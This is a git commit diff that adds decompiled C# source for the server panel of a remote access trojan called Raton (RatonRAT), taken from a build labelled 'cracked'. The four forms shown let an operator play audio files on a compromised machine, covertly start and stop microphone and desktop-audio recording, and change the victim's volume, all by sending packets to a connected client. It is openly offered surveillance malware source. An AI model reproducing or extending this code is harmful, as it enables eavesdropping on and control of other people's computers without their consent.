initial commit
This commit is contained in:
@@ -0,0 +1,199 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonAudio
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonAudio : Form
|
||||
{
|
||||
private string path = string.Empty;
|
||||
private IContainer components;
|
||||
private AeroListView aeroListView1;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
private Timer timer1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ImageList imageList1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonAudio()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.LoadAudioFiles();
|
||||
}
|
||||
|
||||
private void ratonAudio_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
openFileDialog.Filter = "Supported by RatonRAT|*.mp3";
|
||||
openFileDialog.Title = "Select an audio file";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
this.path = openFileDialog.FileName;
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadAudioFiles()
|
||||
{
|
||||
string path = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Audios");
|
||||
if (!Directory.Exists(path))
|
||||
return;
|
||||
foreach (string file in Directory.GetFiles(path, "*.mp3"))
|
||||
{
|
||||
ListViewItem listViewItem = new ListViewItem(Path.GetFileName(file))
|
||||
{
|
||||
ImageIndex = 0
|
||||
};
|
||||
listViewItem.SubItems.Add(file);
|
||||
listViewItem.ImageIndex = 0;
|
||||
this.aeroListView1.Items.Add(listViewItem);
|
||||
}
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(this.path) || !File.Exists(this.path))
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Select a valid file", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
byte[] numArray = File.ReadAllBytes(this.path);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "PlayAudio");
|
||||
pack.Set("Audio", numArray);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num2 = (int) Messenger.MessageBox("The audio was sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
private void aeroListView1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.aeroListView1.SelectedItems.Count <= 0)
|
||||
return;
|
||||
this.path = this.aeroListView1.SelectedItems[0].SubItems[1].Text;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonAudio));
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[2]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2
|
||||
});
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(11, 12);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(506, 272);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.SelectedIndexChanged += new EventHandler(this.aeroListView1_SelectedIndexChanged);
|
||||
this.columnHeader1.Text = "Audio name";
|
||||
this.columnHeader1.Width = 193;
|
||||
this.columnHeader2.Text = "Path";
|
||||
this.columnHeader2.Width = 311;
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "Audio_16x.png");
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_headphones_sound_wave_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(10, 333);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(508, 37);
|
||||
this.button1.TabIndex = 1;
|
||||
this.button1.Text = "Send audio";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Segoe UI", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_folder_arrow_up_24_filled;
|
||||
this.button2.IconSize = 25;
|
||||
this.button2.IconSpacing = 8;
|
||||
this.button2.Location = new Point(11, 290);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(507, 37);
|
||||
this.button2.TabIndex = 2;
|
||||
this.button2.Text = "Use a custom audio";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(528, 385);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonAudio);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonAudio);
|
||||
this.Load += new EventHandler(this.ratonAudio_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,139 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonMicrophone
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonMicrophone : Form
|
||||
{
|
||||
public bool isRecording;
|
||||
private IContainer components;
|
||||
private Button button1;
|
||||
private Timer timer1;
|
||||
public Label label1;
|
||||
public FlatProgressBar flatProgressBar1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonMicrophone()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonMicrophone_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = $"Recording audio from {this.SillyClient.uid} | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isRecording)
|
||||
{
|
||||
this.label1.Text = "Starting...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StartRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = false;
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
this.flatProgressBar1.Value = 0;
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonMicrophone_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonMicrophone));
|
||||
this.button1 = new Button();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.flatProgressBar1 = new FlatProgressBar();
|
||||
this.label1 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.button1.BackgroundImage = (Image) Resources.record;
|
||||
this.button1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.button1.Location = new Point(15, 33);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(33, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = " ";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.flatProgressBar1.BackColor = SystemColors.WindowFrame;
|
||||
this.flatProgressBar1.Location = new Point(54, 33);
|
||||
this.flatProgressBar1.Name = "flatProgressBar1";
|
||||
this.flatProgressBar1.ProgressBarColor = Color.Green;
|
||||
this.flatProgressBar1.Size = new Size(413, 29);
|
||||
this.flatProgressBar1.TabIndex = 1;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(16 /*0x10*/, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(333, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Recording audio from Raton_1234567 | Size: 0kb | KBPS: 0";
|
||||
this.AutoScaleDimensions = new SizeF(5f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackColor = SystemColors.ButtonFace;
|
||||
this.ClientSize = new Size(479, 82);
|
||||
this.Controls.Add((Control) this.flatProgressBar1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(2, 3, 2, 3);
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonMicrophone);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonMicrophone);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonMicrophone_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonMicrophone_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,137 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonSystemRecording
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonSystemRecording : Form
|
||||
{
|
||||
public bool isRecording;
|
||||
private IContainer components;
|
||||
public FlatProgressBar flatProgressBar1;
|
||||
private Button button1;
|
||||
public Label label1;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonSystemRecording()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonSystemRecording_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = $"Recording desktop audio from {this.SillyClient.uid} | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void ratonSystemRecording_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isRecording)
|
||||
{
|
||||
this.label1.Text = "Starting...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StartSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = false;
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
this.flatProgressBar1.Value = 0;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonSystemRecording));
|
||||
this.label1 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.button1 = new Button();
|
||||
this.flatProgressBar1 = new FlatProgressBar();
|
||||
this.SuspendLayout();
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(13, 11);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(382, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 5;
|
||||
this.label1.Text = "Recording desktop audio from Raton_1234567 | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.button1.BackgroundImage = (Image) Resources.record;
|
||||
this.button1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.button1.Location = new Point(12, 30);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(33, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 3;
|
||||
this.button1.Text = " ";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.flatProgressBar1.BackColor = SystemColors.WindowFrame;
|
||||
this.flatProgressBar1.Location = new Point(51, 30);
|
||||
this.flatProgressBar1.Name = "flatProgressBar1";
|
||||
this.flatProgressBar1.ProgressBarColor = Color.Green;
|
||||
this.flatProgressBar1.Size = new Size(589, 29);
|
||||
this.flatProgressBar1.Style = ProgressBarStyle.Marquee;
|
||||
this.flatProgressBar1.TabIndex = 4;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(652, 78);
|
||||
this.Controls.Add((Control) this.flatProgressBar1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonSystemRecording);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonSystemRecording);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonSystemRecording_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonSystemRecording_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,137 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonVolume
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonVolume : Form
|
||||
{
|
||||
private int scrolling;
|
||||
private IContainer components;
|
||||
private TrackBar trackBar1;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private Timer timer1;
|
||||
private Label label3;
|
||||
private Timer timer2;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonVolume()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonVolume_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void trackBar1_Scroll(object sender, EventArgs e)
|
||||
{
|
||||
++this.scrolling;
|
||||
this.timer2.Stop();
|
||||
this.timer2.Start();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.scrolling > 999)
|
||||
{
|
||||
this.Close();
|
||||
int num = (int) Messenger.MessageBox("Scroll overload, chill!");
|
||||
}
|
||||
this.timer2.Stop();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Volume");
|
||||
pack.SetInt("Volume", this.trackBar1.Value);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.label3.Text = this.trackBar1.Value.ToString();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonVolume));
|
||||
this.trackBar1 = new TrackBar();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label3 = new Label();
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.trackBar1.BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.trackBar1.Location = new Point(12, 53);
|
||||
this.trackBar1.Maximum = 100;
|
||||
this.trackBar1.Name = "trackBar1";
|
||||
this.trackBar1.Size = new Size(380, 45);
|
||||
this.trackBar1.TabIndex = 0;
|
||||
this.trackBar1.Value = 50;
|
||||
this.trackBar1.Scroll += new EventHandler(this.trackBar1_Scroll);
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 9);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(124, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Change the volume";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(12, 25);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(196, 16 /*0x10*/);
|
||||
this.label2.TabIndex = 2;
|
||||
this.label2.Text = "Scroll and the volume will change";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(347, 34);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(45, 16 /*0x10*/);
|
||||
this.label3.TabIndex = 3;
|
||||
this.label3.Text = "50";
|
||||
this.label3.TextAlign = ContentAlignment.MiddleRight;
|
||||
this.timer2.Interval = 500;
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(408, 109);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.trackBar1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonVolume);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonVolume);
|
||||
this.Load += new EventHandler(this.ratonVolume_Load);
|
||||
this.trackBar1.EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user